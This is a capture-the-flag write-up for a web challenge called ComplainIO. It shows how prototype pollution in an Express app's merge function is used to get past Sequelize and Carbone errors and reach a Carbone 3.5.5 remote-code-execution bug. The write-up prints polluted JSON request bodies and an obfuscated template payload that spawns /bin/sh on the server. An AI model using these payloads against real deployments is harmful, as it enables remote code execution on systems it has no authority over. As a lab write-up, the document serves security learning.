ComplainIO Writeup
Leverage prototype pollution to bypass Sequelize and Carbone errors that arise from prototype pollution to finally exploit a Carbone 3.5.5 RCE vulnerability.
Challenge Description
As a French person, we love to complain, so I’ve created a platform to automatically create complaint templates - we can’t stop progress!
This challenge had 9
solves and was worth 498
points.
Solution
Step 1: Analyzing the Application
We have an Express website that allows us to generate .odt templates for complaints. The application saves user data in a SQLite database using Sequelize and uses Carbone to generate the .odt files by replacing {d.firstname} and {d.lastname} with the user’s first and last name.
Step 2: Finding vulnerabilities
Analyzing the profile creation, we can see that we are allowed to upload any files that will get saved as a .png with a UUID.
1
2
3
4
let profile_picture_image = req.files.picture;
let new_uuid = uuidv4();
let filename = UPLOADS_DIR + new_uuid+'.png';
profile_picture_image.mv(filename);
1
const created_file = await Files.create({uuid: new_uuid, path: filename, user_id: current_user.id});
And, by looking at files.controller.js
we can see that it takes any file from the files database:
1
const file = await Files.findOne({where: {uuid: req.body.uuid}});
This suggests that we can upload any type of file and have it rendered by carbone:
1
carbone.render(file.path, data, function(err, result){
Step 3: Finding path to exploit
Now that we know we can render anything, we need to find a way to exploit it. If we look in package.json, we can see that the application uses Carbone 3.5.5, instead of 3.5.6, which is the latest. Heading over to Github, we can see that Carbone 3.5.5 has a vulnerability where, if the main application has a prototype pollution vulnerability, it can lead to RCE.
1
2
"dependencies": {
"carbone": "3.5.5",
Step 4: Investigating prototype pollution possibilities
We have control over the file being rendered and we know that Carbone leads to RCE. Now, we have to find a way to get prototype pollution, simple, right? In utils/index.js
we quickly find this function:
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
const merge = (obj1, obj2) => {
for (let key of Object.keys(obj2)) {
const val = obj2[key];
if(FORBIDDEN_MODIFIED.includes(key)) {
continue
}
if (typeof obj1[key] !== "undefined" && typeof val === "object") {
obj1[key] = merge(obj1[key], val);
} else {
obj1[key] = val;
}
}
return obj1;
};
Now we have a way to get prototype pollution, either by updating our profile, or submitting a POST request to create_template with differing firstname/lastname:
1
2
3
4
if(req.body.firstname !== current_user.firstname || req.body.lastname !== current_user.lastname) {
await utils.update_user(req.body, decoded);
current_user = await Users.findOne({where: {username: decoded.username}});
}
Adding a __proto__
key to the POST request will allow us to pollute the prototype and get RCE. Technically.
1
2
3
"__proto__": {
"a;console.log`hacked`;//":1,
}
This should work, right? At least according to this POC. Adding that proto field and changing the firstname/lastname (to trigger user update) leads to our first challenge: Sequelize errors.
Step 5: Bypassing Sequelize errors
The error arises from the fact that our object is enumerable and Sequelize doesn’t like that. This is where I got stuck for around 5 hours. Looking through the source code for sequelize, I kept trying and trying different pollutable properties. Setting attributes
to an array of our correct fields allowed us to bypass first error, but it doesn’t work, because the other proto fields end up leaking in the array and causing another error. Analyzing the upload function of the source code in specific, we can see it acts upon a fields array. Setting that to an empty array so that nothing leaks in works! We can now bypass the Sequelize error.
Attributes array represents the columns that the model has. By setting it to something, Sequlieze won’t enumerate the object anymore, thus bypassing the error. It will error though, because of our pollution which will cause it to search for inexistent columns, such as “attributes” since we polluted with attributes array. Setting fields to an empty array will cause Sequelize to update the model with nothing, resulting in bypassing both errors. There were other ways to achieve this, but this one works, only once. On the next
find
request, it will error and crash.
1
2
3
4
5
6
"__proto__":{
"fields":[
],
"attributes":[
"id","username","password","firstname","lastname"]
},
Now, we have another error.
Step 6: Bypassing Carbone errors
This one was a bit simpler to investigate and solve. We follow the stack trace and look through the code:
1
2
3
4
5
6
7
8
9
function findAndSetValidPositionOfConditionalBlocks (xml, descriptor) {
// TODO performance: flattenXML should be called earlier and used also to find array positions
var _xmlFlattened = parser.flattenXML(xml);
for (var _objName in descriptor) {
var _xmlParts = descriptor[_objName].xmlParts;
var _conditionalBlockDetected = [];
var _newParts = [];
for (var i = 0; i < _xmlParts.length; i++) {
...
_xmlParts is undefined. Even though it took me longer to realize this, all we needed to do was “create” xmlParts by polluting it with an empty array.
1
2
3
4
5
6
7
"__proto__":{
"fields":[],
"attributes":[
"id","username","password","firstname","lastname"
],
"xmlParts":[]
}
Step 7: Testing everything
Now that we have bypassed both Sequelize and Carbone errors, we can test our payload. By following the POC and Github commit, we create the following XML file:
1
{d.firstname:a;console.log`hacked`;//}
Then, we make the POST request to create_template:
1
2
3
4
5
6
7
8
9
10
11
{
"__proto__":{
"a;console.log`hacked`;//":1,
"fields":[],
"attributes":["id","username","password","firstname","lastname"],
"xmlParts":[],
},
"firstname":"team > r0/dev/null","lastname":"best team",
"uuid":"07b184d8-93e6-4750-b781-2b76d2777c75",
"id":22
}
And, voila!
Step 8: Final payload
Now that we finally have RCE and the server provides us with a getflag
executable, we quickly write a script that does this:
1
{d.name:a;x=Object;w=a=x.constructor.call``;w.type='pipe';w.readable=1;w.writable=1;a.file='/bin/sh';a.args=['/bin/sh','-c','/getflag>/app/public/js/flag.txt'];a.stdio=[w,w];ff=Function`process.binding\x28\x22spawn_sync\x22\x29.spawn\x28a\x29.output`;ff.call``//}
1
2
3
4
5
6
7
8
9
10
11
{
"__proto__":{
"a;x=Object;w=a=x.constructor.call``;w.type='pipe';w.readable=1;w.writable=1;a.file='/bin/sh';a.args=['/bin/sh','-c','/getflag>/app/public/js/flag.txt'];a.stdio=[w,w];ff=Function`process.binding\\x28\\x22spawn_sync\\x22\\x29.spawn\\x28a\\x29.output`;ff.call``//":1,
"fields":[],
"attributes":["id","username","password","firstname","lastname"],
"xmlParts":[],
},
"firstname":"team > r0/dev/null","lastname":"best team",
"uuid":"07b184d8-93e6-4750-b781-2b76d2777c75",
"id":22
}
The __proto__
contains \\
because \
is an escape character in JSON. We need to escape the escape character.
We submit the request, go to /js/flag.txt
and get the flag!
Conclusion
To summarize the steps we took:
- Analyzed the Application: We examined the Express.js application and discovered it uses SQLite with Sequelize ORM for database interactions and Carbone.js for generating document templates.
- Identified Vulnerabilities: We found that the application is using Carbone.js version 3.5.5, which has a known remote code execution (RCE) vulnerability when prototype pollution is possible in the host application.
- Exploited Prototype Pollution: By injecting
__proto__
properties into a POST request, we exploited themerge
function inutils/index.js
to pollute the application’s prototype, a prerequisite for triggering the Carbone.js vulnerability. - Bypassed Sequelize Errors: The initial exploitation attempts led to Sequelize errors due to enumerable properties. We mitigated these errors by setting
fields
andattributes
in the polluted prototype to acceptable values, allowing the ORM to process the request without errors. - Resolved Carbone.js Errors: We encountered errors from Carbone.js related to undefined properties. By adding an
xmlParts
array to the polluted prototype, we prevented these errors and allowed the rendering process to proceed. - Crafted the Final Payload: With the prototype pollution in place and errors resolved, we crafted a payload that leveraged the RCE vulnerability in Carbone.js. This allowed us to execute arbitrary commands on the server.
- Retrieved the Flag: By executing commands on the server, we accessed the flag and completed the challenge.
By systematically exploiting the prototype pollution vulnerability and addressing the resulting errors in both Sequelize and Carbone.js, we successfully achieved remote code execution and retrieved the flag.
Flag
HERO{m0r3_p0llut10n_pl34s3_456144e3cc5ed95803a2f81baaf3c4bb}